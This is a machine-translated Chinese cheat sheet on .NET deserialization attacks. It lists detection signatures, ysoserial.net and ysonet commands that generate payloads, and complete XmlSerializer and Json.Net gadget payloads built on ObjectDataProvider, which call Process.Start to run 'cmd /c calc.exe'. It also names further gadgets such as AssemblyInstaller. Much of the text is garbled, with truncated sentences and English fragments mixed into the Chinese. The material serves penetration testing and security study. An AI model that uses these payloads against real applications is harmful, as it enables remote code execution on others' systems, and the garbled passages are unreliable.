.NET 反序列化 .NET 序列化是将对象的状态转换为易于存储或传输的格式的过程,例如 XML、JSON 或二进制格式。这些序列化的数据可以保存到文件中、通过网络发送,或存储在数据库中。稍后,可以通过反序列化过程将数据恢复为原始对象,且数据保持完整。在 .NET 中,序列化广泛用于缓存、应用程序间的数据传输以及会话状态管理等场景。 概要 检测 工具 格式化程序 XmlSerializer DataContractSerializer NetDataContractSerializer LosFormatter JSON.NET BinaryFormatter POP 小工具 参考文献 检测 数据 | 描述 (Hex) | .NET BinaryFormatter (Hex) | .
.NET 序列化是将对象的状态转换为易于存储或传输的格式的过程,例如 XML、JSON 或二进制格式。这些序列化的数据可以保存到文件中、通过网络发送,或存储在数据库中。稍后,可以通过反序列化过程将数据恢复为原始对象,且数据保持完整。在 .NET 中,序列化广泛用于缓存、应用程序间的数据传输以及会话状态管理等场景。
| 数据 | 描述 |
|---|---|
AAEAAD (Hex) |
.NET BinaryFormatter |
FF01 (Hex) |
.NET ViewState |
/w (Base64) |
.NET ViewState |
示例:AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=
pwntester/ysoserial.net - 适用于多种 .NET 格式化程序的反序列化载荷生成器
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
irsdl/ysonet - 适用于多种 .NET 格式化程序的反序列化载荷生成器
cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s ./ysonet.exe -p DotNetNuke -m read_file -f win.ini ./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t ./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

来自 pwntester/attacking-net-serialization 的 .NET 原生格式化程序
XmlSerializer(typeof(<TYPE>));。.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe" <?xml version="1.0"?> <root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider> </root>
DataContractSerializer 以松耦合的方式进行反序列化。它从传入的数据中从不读取公共语言运行时 (CLR) 类型和程序集名称。DataContractSerializer 的安全模型与 XmlSerializer 类似,主要在细节上有所不同。例如,XmlIncludeAttribute 属性用于包含类型,而不是 KnownTypeAttribute 属性。
DataContractSerializer(typeof(<TYPE>)).It extends the
System.Runtime.Serialization.XmlObjectSerializerclass and is capable of serializing any type annotated with serializable attribute asBinaryFormatter.
NetDataContractSerializer().ReadObject()。.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
BinaryFormatter。.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings。.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }
BinaryFormatter 类型非常危险,不建议用于数据处理。即使应用程序认为正在处理的数据是可信的,也应尽快停止使用 BinaryFormatter。BinaryFormatter 不安全,且无法使其变得安全。
System.Runtime.Serialization.Binary.BinaryFormatter.[Serializable] or ISerializable 接口。./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
这些小工具必须具备以下属性:
您必须为特定的 格式化程序 精心选择您的 小工具。
常见载荷中使用的一些热门小工具列表。
来自 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll
MethodParameters to set arbitrary parametersMethodName to call an arbitrary functionExpandedWrapper
object types 的封装对象中的 ObjectDataProviderExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
System.Configuration.Install.AssemblyInstaller
// System.Configuration.Install.AssemblyInstaller public void set_Path(string value){ if (value == null){ this.assembly = null; } this.assembly = Assembly.LoadFrom(value); }
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。